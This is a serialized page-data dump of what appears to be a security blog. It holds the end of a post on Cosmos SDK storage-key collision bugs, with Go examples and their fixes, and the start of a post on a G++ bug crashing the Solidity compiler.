ype":27,"value":28552},{"type":21,"tag":198,"props":89088,"children":89089},{"style":211},[89090],{"type":27,"value":828},{"type":21,"tag":198,"props":89092,"children":89093},{"style":226},[89094],{"type":27,"value":1507},{"type":21,"tag":198,"props":89096,"children":89097},{"style":683},[89098],{"type":27,"value":76798},{"type":21,"tag":198,"props":89100,"children":89101},{"style":226},[89102],{"type":27,"value":89103}," hex",{"type":21,"tag":198,"props":89105,"children":89106},{"style":211},[89107],{"type":27,"value":658},{"type":21,"tag":198,"props":89109,"children":89110},{"style":698},[89111],{"type":27,"value":89112},"Decode",{"type":21,"tag":198,"props":89114,"children":89115},{"style":211},[89116],{"type":27,"value":706},{"type":21,"tag":198,"props":89118,"children":89119},{"style":226},[89120],{"type":27,"value":85853},{"type":21,"tag":198,"props":89122,"children":89123},{"style":211},[89124],{"type":27,"value":828},{"type":21,"tag":198,"props":89126,"children":89127},{"style":226},[89128],{"type":27,"value":89066},{"type":21,"tag":198,"props":89130,"children":89131},{"style":211},[89132],{"type":27,"value":2051},{"type":21,"tag":198,"props":89134,"children":89135},{"style":2540},[89136],{"type":27,"value":3482},{"type":21,"tag":198,"props":89138,"children":89139},{"style":211},[89140],{"type":27,"value":55817},{"type":21,"tag":198,"props":89142,"children":89143},{"class":200,"line":468},[89144,89148,89152,89156,89160],{"type":21,"tag":198,"props":89145,"children":89146},{"style":640},[89147],{"type":27,"value":4079},{"type":21,"tag":198,"props":89149,"children":89150},{"style":226},[89151],{"type":27,"value":1611},{"type":21,"tag":198,"props":89153,"children":89154},{"style":683},[89155],{"type":27,"value":64765},{"type":21,"tag":198,"props":89157,"children":89158},{"style":249},[89159],{"type":27,"value":82300},{"type":21,"tag":198,"props":89161,"children":89162},{"style":211},[89163],{"type":27,"value":233},{"type":21,"tag":198,"props":89165,"children":89166},{"class":200,"line":477},[89167,89171,89175,89179],{"type":21,"tag":198,"props":89168,"children":89169},{"style":640},[89170],{"type":27,"value":79458},{"type":21,"tag":198,"props":89172,"children":89173},{"style":249},[89174],{"type":27,"value":82300},{"type":21,"tag":198,"props":89176,"children":89177},{"style":211},[89178],{"type":27,"value":828},{"type":21,"tag":198,"props":89180,"children":89181},{"style":226},[89182],{"type":27,"value":84021},{"type":21,"tag":198,"props":89184,"children":89185},{"class":200,"line":494},[89186],{"type":21,"tag":198,"props":89187,"children":89188},{"style":211},[89189],{"type":27,"value":1160},{"type":21,"tag":198,"props":89191,"children":89192},{"class":200,"line":515},[89193],{"type":21,"tag":198,"props":89194,"children":89195},{"emptyLinePlaceholder":16},[89196],{"type":27,"value":1283},{"type":21,"tag":198,"props":89198,"children":89199},{"class":200,"line":4484},[89200,89205,89209,89213,89217,89221,89225,89229,89233,89237,89241,89245,89249,89253],{"type":21,"tag":198,"props":89201,"children":89202},{"style":226},[89203],{"type":27,"value":89204}," positionName",{"type":21,"tag":198,"props":89206,"children":89207},{"style":683},[89208],{"type":27,"value":76798},{"type":21,"tag":198,"props":89210,"children":89211},{"style":698},[89212],{"type":27,"value":85946},{"type":21,"tag":198,"props":89214,"children":89215},{"style":211},[89216],{"type":27,"value":89036},{"type":21,"tag":198,"props":89218,"children":89219},{"style":1966},[89220],{"type":27,"value":85147},{"type":21,"tag":198,"props":89222,"children":89223},{"style":211},[89224],{"type":27,"value":828},{"type":21,"tag":198,"props":89226,"children":89227},{"style":226},[89228],{"type":27,"value":86019},{"type":21,"tag":198,"props":89230,"children":89231},{"style":211},[89232],{"type":27,"value":658},{"type":21,"tag":198,"props":89234,"children":89235},{"style":698},[89236],{"type":27,"value":89057},{"type":21,"tag":198,"props":89238,"children":89239},{"style":211},[89240],{"type":27,"value":706},{"type":21,"tag":198,"props":89242,"children":89243},{"style":226},[89244],{"type":27,"value":89066},{"type":21,"tag":198,"props":89246,"children":89247},{"style":211},[89248],{"type":27,"value":2051},{"type":21,"tag":198,"props":89250,"children":89251},{"style":2540},[89252],{"type":27,"value":134},{"type":21,"tag":198,"props":89254,"children":89255},{"style":211},[89256],{"type":27,"value":89079},{"type":21,"tag":198,"props":89258,"children":89259},{"class":200,"line":4493},[89260,89264,89268,89272,89276,89280,89284,89288,89292,89296,89300,89304,89308,89312],{"type":21,"tag":198,"props":89261,"children":89262},{"style":226},[89263],{"type":27,"value":28552},{"type":21,"tag":198,"props":89265,"children":89266},{"style":211},[89267],{"type":27,"value":828},{"type":21,"tag":198,"props":89269,"children":89270},{"style":226},[89271],{"type":27,"value":1507},{"type":21,"tag":198,"props":89273,"children":89274},{"style":683},[89275],{"type":27,"value":76798},{"type":21,"tag":198,"props":89277,"children":89278},{"style":226},[89279],{"type":27,"value":89103},{"type":21,"tag":198,"props":89281,"children":89282},{"style":211},[89283],{"type":27,"value":658},{"type":21,"tag":198,"props":89285,"children":89286},{"style":698},[89287],{"type":27,"value":89112},{"type":21,"tag":198,"props":89289,"children":89290},{"style":211},[89291],{"type":27,"value":706},{"type":21,"tag":198,"props":89293,"children":89294},{"style":226},[89295],{"type":27,"value":86122},{"type":21,"tag":198,"props":89297,"children":89298},{"style":211},[89299],{"type":27,"value":828},{"type":21,"tag":198,"props":89301,"children":89302},{"style":226},[89303],{"type":27,"value":89066},{"type":21,"tag":198,"props":89305,"children":89306},{"style":211},[89307],{"type":27,"value":2051},{"type":21,"tag":198,"props":89309,"children":89310},{"style":2540},[89311],{"type":27,"value":134},{"type":21,"tag":198,"props":89313,"children":89314},{"style":211},[89315],{"type":27,"value":55817},{"type":21,"tag":198,"props":89317,"children":89318},{"class":200,"line":4561},[89319,89323,89327,89331,89335],{"type":21,"tag":198,"props":89320,"children":89321},{"style":640},[89322],{"type":27,"value":4079},{"type":21,"tag":198,"props":89324,"children":89325},{"style":226},[89326],{"type":27,"value":1611},{"type":21,"tag":198,"props":89328,"children":89329},{"style":683},[89330],{"type":27,"value":64765},{"type":21,"tag":198,"props":89332,"children":89333},{"style":249},[89334],{"type":27,"value":82300},{"type":21,"tag":198,"props":89336,"children":89337},{"style":211},[89338],{"type":27,"value":233},{"type":21,"tag":198,"props":89340,"children":89341},{"class":200,"line":4569},[89342,89346,89350,89354],{"type":21,"tag":198,"props":89343,"children":89344},{"style":640},[89345],{"type":27,"value":79458},{"type":21,"tag":198,"props":89347,"children":89348},{"style":249},[89349],{"type":27,"value":82300},{"type":21,"tag":198,"props":89351,"children":89352},{"style":211},[89353],{"type":27,"value":828},{"type":21,"tag":198,"props":89355,"children":89356},{"style":226},[89357],{"type":27,"value":84021},{"type":21,"tag":198,"props":89359,"children":89360},{"class":200,"line":4599},[89361],{"type":21,"tag":198,"props":89362,"children":89363},{"style":211},[89364],{"type":27,"value":1160},{"type":21,"tag":198,"props":89366,"children":89367},{"class":200,"line":4607},[89368],{"type":21,"tag":198,"props":89369,"children":89370},{"emptyLinePlaceholder":16},[89371],{"type":27,"value":1283},{"type":21,"tag":198,"props":89373,"children":89374},{"class":200,"line":4638},[89375,89379,89383,89387,89391,89395,89400,89404,89408,89413,89417,89421],{"type":21,"tag":198,"props":89376,"children":89377},{"style":640},[89378],{"type":27,"value":4079},{"type":21,"tag":198,"props":89380,"children":89381},{"style":226},[89382],{"type":27,"value":63020},{"type":21,"tag":198,"props":89384,"children":89385},{"style":211},[89386],{"type":27,"value":828},{"type":21,"tag":198,"props":89388,"children":89389},{"style":226},[89390],{"type":27,"value":79149},{"type":21,"tag":198,"props":89392,"children":89393},{"style":683},[89394],{"type":27,"value":76798},{"type":21,"tag":198,"props":89396,"children":89397},{"style":226},[89398],{"type":27,"value":89399}," values",{"type":21,"tag":198,"props":89401,"children":89402},{"style":211},[89403],{"type":27,"value":2051},{"type":21,"tag":198,"props":89405,"children":89406},{"style":226},[89407],{"type":27,"value":85853},{"type":21,"tag":198,"props":89409,"children":89410},{"style":211},[89411],{"type":27,"value":89412},"]; ",{"type":21,"tag":198,"props":89414,"children":89415},{"style":683},[89416],{"type":27,"value":686},{"type":21,"tag":198,"props":89418,"children":89419},{"style":226},[89420],{"type":27,"value":79149},{"type":21,"tag":198,"props":89422,"children":89423},{"style":211},[89424],{"type":27,"value":233},{"type":21,"tag":198,"props":89426,"children":89427},{"class":200,"line":4646},[89428,89433,89437,89441,89445,89449,89453,89457,89461,89465,89469],{"type":21,"tag":198,"props":89429,"children":89430},{"style":226},[89431],{"type":27,"value":89432}," values",{"type":21,"tag":198,"props":89434,"children":89435},{"style":211},[89436],{"type":27,"value":2051},{"type":21,"tag":198,"props":89438,"children":89439},{"style":226},[89440],{"type":27,"value":85853},{"type":21,"tag":198,"props":89442,"children":89443},{"style":211},[89444],{"type":27,"value":9472},{"type":21,"tag":198,"props":89446,"children":89447},{"style":683},[89448],{"type":27,"value":3174},{"type":21,"tag":198,"props":89450,"children":89451},{"style":698},[89452],{"type":27,"value":85946},{"type":21,"tag":198,"props":89454,"children":89455},{"style":211},[89456],{"type":27,"value":706},{"type":21,"tag":198,"props":89458,"children":89459},{"style":249},[89460],{"type":27,"value":67481},{"type":21,"tag":198,"props":89462,"children":89463},{"style":211},[89464],{"type":27,"value":2051},{"type":21,"tag":198,"props":89466,"children":89467},{"style":1966},[89468],{"type":27,"value":85551},{"type":21,"tag":198,"props":89470,"children":89471},{"style":211},[89472],{"type":27,"value":55817},{"type":21,"tag":198,"props":89474,"children":89475},{"class":200,"line":4706},[89476],{"type":21,"tag":198,"props":89477,"children":89478},{"style":211},[89479],{"type":27,"value":1160},{"type":21,"tag":198,"props":89481,"children":89482},{"class":200,"line":9857},[89483],{"type":21,"tag":198,"props":89484,"children":89485},{"emptyLinePlaceholder":16},[89486],{"type":27,"value":1283},{"type":21,"tag":198,"props":89488,"children":89489},{"class":200,"line":9875},[89490,89495,89499,89503,89507,89511,89515,89519,89523],{"type":21,"tag":198,"props":89491,"children":89492},{"style":226},[89493],{"type":27,"value":89494}," values",{"type":21,"tag":198,"props":89496,"children":89497},{"style":211},[89498],{"type":27,"value":2051},{"type":21,"tag":198,"props":89500,"children":89501},{"style":226},[89502],{"type":27,"value":85853},{"type":21,"tag":198,"props":89504,"children":89505},{"style":211},[89506],{"type":27,"value":2061},{"type":21,"tag":198,"props":89508,"children":89509},{"style":226},[89510],{"type":27,"value":86122},{"type":21,"tag":198,"props":89512,"children":89513},{"style":211},[89514],{"type":27,"value":9472},{"type":21,"tag":198,"props":89516,"children":89517},{"style":683},[89518],{"type":27,"value":3174},{"type":21,"tag":198,"props":89520,"children":89521},{"style":226},[89522],{"type":27,"value":8237},{"type":21,"tag":198,"props":89524,"children":89525},{"style":211},[89526],{"type":27,"value":233},{"type":21,"tag":198,"props":89528,"children":89529},{"class":200,"line":9920},[89530,89534,89538,89543,89547,89552],{"type":21,"tag":198,"props":89531,"children":89532},{"style":226},[89533],{"type":27,"value":27755},{"type":21,"tag":198,"props":89535,"children":89536},{"style":211},[89537],{"type":27,"value":16136},{"type":21,"tag":198,"props":89539,"children":89540},{"style":226},[89541],{"type":27,"value":89542},"iterator",{"type":21,"tag":198,"props":89544,"children":89545},{"style":211},[89546],{"type":27,"value":658},{"type":21,"tag":198,"props":89548,"children":89549},{"style":698},[89550],{"type":27,"value":89551},"Value",{"type":21,"tag":198,"props":89553,"children":89554},{"style":211},[89555],{"type":27,"value":4296},{"type":21,"tag":198,"props":89557,"children":89558},{"class":200,"line":10026},[89559],{"type":21,"tag":198,"props":89560,"children":89561},{"style":211},[89562],{"type":27,"value":1160},{"type":21,"tag":198,"props":89564,"children":89565},{"class":200,"line":24302},[89566],{"type":21,"tag":198,"props":89567,"children":89568},{"style":211},[89569],{"type":27,"value":880},{"type":21,"tag":198,"props":89571,"children":89572},{"class":200,"line":24337},[89573,89577],{"type":21,"tag":198,"props":89574,"children":89575},{"style":640},[89576],{"type":27,"value":1478},{"type":21,"tag":198,"props":89578,"children":89579},{"style":226},[89580],{"type":27,"value":89581}," values\n",{"type":21,"tag":198,"props":89583,"children":89584},{"class":200,"line":24345},[89585],{"type":21,"tag":198,"props":89586,"children":89587},{"style":211},[89588],{"type":27,"value":1120},{"type":21,"tag":30,"props":89590,"children":89591},{},[89592,89594,89600,89601,89607,89609,89614,89616,89621,89623,89628,89630,89636,89638,89644],{"type":27,"value":89593},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":21,"tag":194,"props":89595,"children":89597},{"className":89596},[],[89598],{"type":27,"value":89599},"vaultId = 1",{"type":27,"value":11801},{"type":21,"tag":194,"props":89602,"children":89604},{"className":89603},[],[89605],{"type":27,"value":89606},"vaultId = 10",{"type":27,"value":89608}," coexist. If we try to fetch data under ",{"type":21,"tag":194,"props":89610,"children":89612},{"className":89611},[],[89613],{"type":27,"value":89599},{"type":27,"value":89615},", all entries under ",{"type":21,"tag":194,"props":89617,"children":89619},{"className":89618},[],[89620],{"type":27,"value":89606},{"type":27,"value":89622}," will also be returned simply because ",{"type":21,"tag":194,"props":89624,"children":89626},{"className":89625},[],[89627],{"type":27,"value":134},{"type":27,"value":89629}," is a prefix of ",{"type":21,"tag":194,"props":89631,"children":89633},{"className":89632},[],[89634],{"type":27,"value":89635},"10",{"type":27,"value":89637},". To fix this, we must once again append the ",{"type":21,"tag":194,"props":89639,"children":89641},{"className":89640},[],[89642],{"type":27,"value":89643},"Separator",{"type":27,"value":89645}," to the iterator prefix.",{"type":21,"tag":187,"props":89647,"children":89649},{"code":89648,"language":76546,"meta":7,"className":76547,"style":7},"i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[89650],{"type":21,"tag":194,"props":89651,"children":89652},{"__ignoreMap":7},[89653,89680,89692,89745],{"type":21,"tag":198,"props":89654,"children":89655},{"class":200,"line":201},[89656,89660,89664,89668,89672,89676],{"type":21,"tag":198,"props":89657,"children":89658},{"style":226},[89659],{"type":27,"value":4544},{"type":21,"tag":198,"props":89661,"children":89662},{"style":683},[89663],{"type":27,"value":76798},{"type":21,"tag":198,"props":89665,"children":89666},{"style":226},[89667],{"type":27,"value":79023},{"type":21,"tag":198,"props":89669,"children":89670},{"style":211},[89671],{"type":27,"value":658},{"type":21,"tag":198,"props":89673,"children":89674},{"style":698},[89675],{"type":27,"value":88838},{"type":21,"tag":198,"props":89677,"children":89678},{"style":211},[89679],{"type":27,"value":4268},{"type":21,"tag":198,"props":89681,"children":89682},{"class":200,"line":217},[89683,89688],{"type":21,"tag":198,"props":89684,"children":89685},{"style":226},[89686],{"type":27,"value":89687}," kvStore",{"type":21,"tag":198,"props":89689,"children":89690},{"style":211},[89691],{"type":27,"value":257},{"type":21,"tag":198,"props":89693,"children":89694},{"class":200,"line":236},[89695,89700,89704,89708,89712,89717,89721,89725,89729,89733,89737,89741],{"type":21,"tag":198,"props":89696,"children":89697},{"style":226},[89698],{"type":27,"value":89699}," fmt",{"type":21,"tag":198,"props":89701,"children":89702},{"style":211},[89703],{"type":27,"value":658},{"type":21,"tag":198,"props":89705,"children":89706},{"style":698},[89707],{"type":27,"value":85605},{"type":21,"tag":198,"props":89709,"children":89710},{"style":211},[89711],{"type":27,"value":706},{"type":21,"tag":198,"props":89713,"children":89714},{"style":205},[89715],{"type":27,"value":89716},"\"%s%d%s\"",{"type":21,"tag":198,"props":89718,"children":89719},{"style":211},[89720],{"type":27,"value":828},{"type":21,"tag":198,"props":89722,"children":89723},{"style":226},[89724],{"type":27,"value":88888},{"type":21,"tag":198,"props":89726,"children":89727},{"style":211},[89728],{"type":27,"value":828},{"type":21,"tag":198,"props":89730,"children":89731},{"style":226},[89732],{"type":27,"value":88673},{"type":21,"tag":198,"props":89734,"children":89735},{"style":211},[89736],{"type":27,"value":828},{"type":21,"tag":198,"props":89738,"children":89739},{"style":226},[89740],{"type":27,"value":89004},{"type":21,"tag":198,"props":89742,"children":89743},{"style":211},[89744],{"type":27,"value":7548},{"type":21,"tag":198,"props":89746,"children":89747},{"class":200,"line":260},[89748],{"type":21,"tag":198,"props":89749,"children":89750},{"style":211},[89751],{"type":27,"value":789},{"type":21,"tag":30,"props":89753,"children":89754},{},[89755,89757,89762],{"type":27,"value":89756},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":21,"tag":194,"props":89758,"children":89760},{"className":89759},[],[89761],{"type":27,"value":85359},{"type":27,"value":89763}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":21,"tag":30,"props":89765,"children":89766},{},[89767],{"type":27,"value":89768},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":21,"tag":59,"props":89770,"children":89772},{"id":89771},"real-world-examples-5",[89773],{"type":27,"value":77071},{"type":21,"tag":30,"props":89775,"children":89776},{},[89777,89778,89783,89785,89792,89794,89800],{"type":27,"value":534},{"type":21,"tag":194,"props":89779,"children":89781},{"className":89780},[],[89782],{"type":27,"value":78844},{"type":27,"value":89784}," previously lacked protection against KVStore ",{"type":21,"tag":34,"props":89786,"children":89789},{"href":89787,"rel":89788},"https://github.com/cosmos/cosmos-sdk/pull/9363",[38],[89790],{"type":27,"value":89791},"key collisions",{"type":27,"value":89793},". This prior oversight allowed developers to unintentionally create two ",{"type":21,"tag":194,"props":89795,"children":89797},{"className":89796},[],[89798],{"type":27,"value":89799},"KVStores",{"type":27,"value":89801}," that were not independent of each other.",{"type":21,"tag":30,"props":89803,"children":89804},{},[89805],{"type":21,"tag":34,"props":89806,"children":89809},{"href":89807,"rel":89808},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[38],[89810],{"type":27,"value":77121},{"type":21,"tag":187,"props":89812,"children":89814},{"code":89813,"language":76546,"meta":7,"className":76547,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n keys := make(map[string]*KVStoreKey)\n for _, name := range names {\n keys[name] = NewKVStoreKey(name)\n }\n\n return keys\n}\n",[89815],{"type":21,"tag":194,"props":89816,"children":89817},{"__ignoreMap":7},[89818,89880,89928,89964,90004,90011,90018,90030],{"type":21,"tag":198,"props":89819,"children":89820},{"class":200,"line":201},[89821,89825,89830,89834,89839,89843,89847,89851,89855,89859,89863,89867,89871,89876],{"type":21,"tag":198,"props":89822,"children":89823},{"style":249},[89824],{"type":27,"value":76682},{"type":21,"tag":198,"props":89826,"children":89827},{"style":698},[89828],{"type":27,"value":89829}," NewKVStoreKeys",{"type":21,"tag":198,"props":89831,"children":89832},{"style":211},[89833],{"type":27,"value":706},{"type":21,"tag":198,"props":89835,"children":89836},{"style":226},[89837],{"type":27,"value":89838},"names",{"type":21,"tag":198,"props":89840,"children":89841},{"style":683},[89842],{"type":27,"value":26104},{"type":21,"tag":198,"props":89844,"children":89845},{"style":1966},[89846],{"type":27,"value":30467},{"type":21,"tag":198,"props":89848,"children":89849},{"style":211},[89850],{"type":27,"value":1541},{"type":21,"tag":198,"props":89852,"children":89853},{"style":249},[89854],{"type":27,"value":67481},{"type":21,"tag":198,"props":89856,"children":89857},{"style":211},[89858],{"type":27,"value":2051},{"type":21,"tag":198,"props":89860,"children":89861},{"style":1966},[89862],{"type":27,"value":30467},{"type":21,"tag":198,"props":89864,"children":89865},{"style":211},[89866],{"type":27,"value":2071},{"type":21,"tag":198,"props":89868,"children":89869},{"style":683},[89870],{"type":27,"value":5383},{"type":21,"tag":198,"props":89872,"children":89873},{"style":1966},[89874],{"type":27,"value":89875},"KVStoreKey",{"type":21,"tag":198,"props":89877,"children":89878},{"style":211},[89879],{"type":27,"value":233},{"type":21,"tag":198,"props":89881,"children":89882},{"class":200,"line":217},[89883,89888,89892,89896,89900,89904,89908,89912,89916,89920,89924],{"type":21,"tag":198,"props":89884,"children":89885},{"style":226},[89886],{"type":27,"value":89887}," keys",{"type":21,"tag":198,"props":89889,"children":89890},{"style":683},[89891],{"type":27,"value":76798},{"type":21,"tag":198,"props":89893,"children":89894},{"style":698},[89895],{"type":27,"value":85946},{"type":21,"tag":198,"props":89897,"children":89898},{"style":211},[89899],{"type":27,"value":706},{"type":21,"tag":198,"props":89901,"children":89902},{"style":249},[89903],{"type":27,"value":67481},{"type":21,"tag":198,"props":89905,"children":89906},{"style":211},[89907],{"type":27,"value":2051},{"type":21,"tag":198,"props":89909,"children":89910},{"style":1966},[89911],{"type":27,"value":30467},{"type":21,"tag":198,"props":89913,"children":89914},{"style":211},[89915],{"type":27,"value":2071},{"type":21,"tag":198,"props":89917,"children":89918},{"style":683},[89919],{"type":27,"value":5383},{"type":21,"tag":198,"props":89921,"children":89922},{"style":1966},[89923],{"type":27,"value":89875},{"type":21,"tag":198,"props":89925,"children":89926},{"style":211},[89927],{"type":27,"value":789},{"type":21,"tag":198,"props":89929,"children":89930},{"class":200,"line":236},[89931,89935,89939,89943,89947,89951,89955,89960],{"type":21,"tag":198,"props":89932,"children":89933},{"style":640},[89934],{"type":27,"value":3840},{"type":21,"tag":198,"props":89936,"children":89937},{"style":226},[89938],{"type":27,"value":3845},{"type":21,"tag":198,"props":89940,"children":89941},{"style":211},[89942],{"type":27,"value":828},{"type":21,"tag":198,"props":89944,"children":89945},{"style":226},[89946],{"type":27,"value":1588},{"type":21,"tag":198,"props":89948,"children":89949},{"style":683},[89950],{"type":27,"value":76798},{"type":21,"tag":198,"props":89952,"children":89953},{"style":640},[89954],{"type":27,"value":77781},{"type":21,"tag":198,"props":89956,"children":89957},{"style":226},[89958],{"type":27,"value":89959}," names",{"type":21,"tag":198,"props":89961,"children":89962},{"style":211},[89963],{"type":27,"value":233},{"type":21,"tag":198,"props":89965,"children":89966},{"class":200,"line":260},[89967,89971,89975,89979,89983,89987,89992,89996,90000],{"type":21,"tag":198,"props":89968,"children":89969},{"style":226},[89970],{"type":27,"value":26136},{"type":21,"tag":198,"props":89972,"children":89973},{"style":211},[89974],{"type":27,"value":2051},{"type":21,"tag":198,"props":89976,"children":89977},{"style":226},[89978],{"type":27,"value":1588},{"type":21,"tag":198,"props":89980,"children":89981},{"style":211},[89982],{"type":27,"value":9472},{"type":21,"tag":198,"props":89984,"children":89985},{"style":683},[89986],{"type":27,"value":3174},{"type":21,"tag":198,"props":89988,"children":89989},{"style":698},[89990],{"type":27,"value":89991}," NewKVStoreKey",{"type":21,"tag":198,"props":89993,"children":89994},{"style":211},[89995],{"type":27,"value":706},{"type":21,"tag":198,"props":89997,"children":89998},{"style":226},[89999],{"type":27,"value":1588},{"type":21,"tag":198,"props":90001,"children":90002},{"style":211},[90003],{"type":27,"value":789},{"type":21,"tag":198,"props":90005,"children":90006},{"class":200,"line":281},[90007],{"type":21,"tag":198,"props":90008,"children":90009},{"style":211},[90010],{"type":27,"value":880},{"type":21,"tag":198,"props":90012,"children":90013},{"class":200,"line":302},[90014],{"type":21,"tag":198,"props":90015,"children":90016},{"emptyLinePlaceholder":16},[90017],{"type":27,"value":1283},{"type":21,"tag":198,"props":90019,"children":90020},{"class":200,"line":323},[90021,90025],{"type":21,"tag":198,"props":90022,"children":90023},{"style":640},[90024],{"type":27,"value":1478},{"type":21,"tag":198,"props":90026,"children":90027},{"style":226},[90028],{"type":27,"value":90029}," keys\n",{"type":21,"tag":198,"props":90031,"children":90032},{"class":200,"line":344},[90033],{"type":21,"tag":198,"props":90034,"children":90035},{"style":211},[90036],{"type":27,"value":1120},{"type":21,"tag":30,"props":90038,"children":90039},{},[90040,90042,90047,90049,90054,90056,90061],{"type":27,"value":90041},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":21,"tag":194,"props":90043,"children":90045},{"className":90044},[],[90046],{"type":27,"value":78844},{"type":27,"value":90048}," will refuse to run if any ",{"type":21,"tag":194,"props":90050,"children":90052},{"className":90051},[],[90053],{"type":27,"value":85359},{"type":27,"value":90055}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":21,"tag":194,"props":90057,"children":90059},{"className":90058},[],[90060],{"type":27,"value":85359},{"type":27,"value":90062}," level.",{"type":21,"tag":30,"props":90064,"children":90065},{},[90066,90068,90075],{"type":27,"value":90067},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":21,"tag":34,"props":90069,"children":90072},{"href":90070,"rel":90071},"https://github.com/cosmos/cosmos-sdk/issues/12661",[38],[90073],{"type":27,"value":90074},"incorrect iterator behavior",{"type":27,"value":658},{"type":21,"tag":30,"props":90077,"children":90078},{},[90079,90081,90088],{"type":27,"value":90080},"Notably, gradual adoption of the ",{"type":21,"tag":34,"props":90082,"children":90085},{"href":90083,"rel":90084},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[38],[90086],{"type":27,"value":90087},"collections",{"type":27,"value":90089}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":21,"tag":22,"props":90091,"children":90092},{"id":3586},[90093],{"type":27,"value":3589},{"type":21,"tag":30,"props":90095,"children":90096},{},[90097],{"type":27,"value":90098},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":21,"tag":30,"props":90100,"children":90101},{},[90102],{"type":27,"value":90103},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":21,"tag":3645,"props":90105,"children":90106},{},[90107],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":90109},[90110,90111,90114,90117,90120,90123,90126,90129],{"id":61,"depth":217,"text":64},{"id":76263,"depth":217,"text":76266,"children":90112},[90113],{"id":77068,"depth":236,"text":77071},{"id":77664,"depth":217,"text":77667,"children":90115},[90116],{"id":78313,"depth":236,"text":77071},{"id":78810,"depth":217,"text":78813,"children":90118},[90119],{"id":80110,"depth":236,"text":77071},{"id":81454,"depth":217,"text":81457,"children":90121},[90122],{"id":81992,"depth":236,"text":77071},{"id":83511,"depth":217,"text":83514,"children":90124},[90125],{"id":84391,"depth":236,"text":77071},{"id":85345,"depth":217,"text":85348,"children":90127},[90128],{"id":89771,"depth":236,"text":77071},{"id":3586,"depth":217,"text":3589},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":90134,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":90135,"description":90136,"author":90137,"image":90138,"date":90140,"tags":90141,"isFeatured":16,"onBlogPage":16,"body":90142,"_type":3671,"_id":92851,"_source":3673,"_file":92852,"_stem":92853,"_extension":3676},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":90139,"height":14430,"width":14430},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[5286,29814],{"type":18,"children":90143,"toc":92835},[90144,90149,90286,90291,90296,90301,90306,90419,90424,90429,90434,90474,90487,90492,90510,90515,90518,90524,90538,90551,90556,90569,90574,90586,90599,90604,90607,90613,90619,90676,90681,90687,90701,90736,90744,90752,90772,90778,90783,91223,91231,91275,91280,91288,91296,91335,91340,91348,91353,91356,91362,91368,91393,91405,91432,91465,91470,91473,91479,91498,92016,92029,92047,92070,92081,92086,92189,92194,92199,92213,92218,92294,92312,92317,92320,92326,92338,92350,92690,92695,92713,92718,92721,92727,92732,92750,92770,92773,92779,92798,92801,92805,92810,92821,92826,92831],{"type":21,"tag":30,"props":90145,"children":90146},{},[90147],{"type":27,"value":90148},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":21,"tag":187,"props":90150,"children":90152},{"code":90151,"language":5286,"meta":7,"className":5287,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure returns (uint256) {\n return 1 ** 2;\n }\n}\n",[90153],{"type":21,"tag":194,"props":90154,"children":90155},{"__ignoreMap":7},[90156,90164,90182,90189,90206,90248,90272,90279],{"type":21,"tag":198,"props":90157,"children":90158},{"class":200,"line":201},[90159],{"type":21,"tag":198,"props":90160,"children":90161},{"style":1233},[90162],{"type":27,"value":90163},"// SPDX-License-Identifier: UNLICENSED\n",{"type":21,"tag":198,"props":90165,"children":90166},{"class":200,"line":217},[90167,90172,90177],{"type":21,"tag":198,"props":90168,"children":90169},{"style":640},[90170],{"type":27,"value":90171},"pragma",{"type":21,"tag":198,"props":90173,"children":90174},{"style":249},[90175],{"type":27,"value":90176}," solidity",{"type":21,"tag":198,"props":90178,"children":90179},{"style":211},[90180],{"type":27,"value":90181}," ^0.8.25;\n",{"type":21,"tag":198,"props":90183,"children":90184},{"class":200,"line":236},[90185],{"type":21,"tag":198,"props":90186,"children":90187},{"emptyLinePlaceholder":16},[90188],{"type":27,"value":1283},{"type":21,"tag":198,"props":90190,"children":90191},{"class":200,"line":260},[90192,90197,90202],{"type":21,"tag":198,"props":90193,"children":90194},{"style":249},[90195],{"type":27,"value":90196},"contract",{"type":21,"tag":198,"props":90198,"children":90199},{"style":1966},[90200],{"type":27,"value":90201}," A",{"type":21,"tag":198,"props":90203,"children":90204},{"style":211},[90205],{"type":27,"value":233},{"type":21,"tag":198,"props":90207,"children":90208},{"class":200,"line":281},[90209,90214,90219,90223,90227,90232,90236,90240,90244],{"type":21,"tag":198,"props":90210,"children":90211},{"style":249},[90212],{"type":27,"value":90213}," function",{"type":21,"tag":198,"props":90215,"children":90216},{"style":698},[90217],{"type":27,"value":90218}," 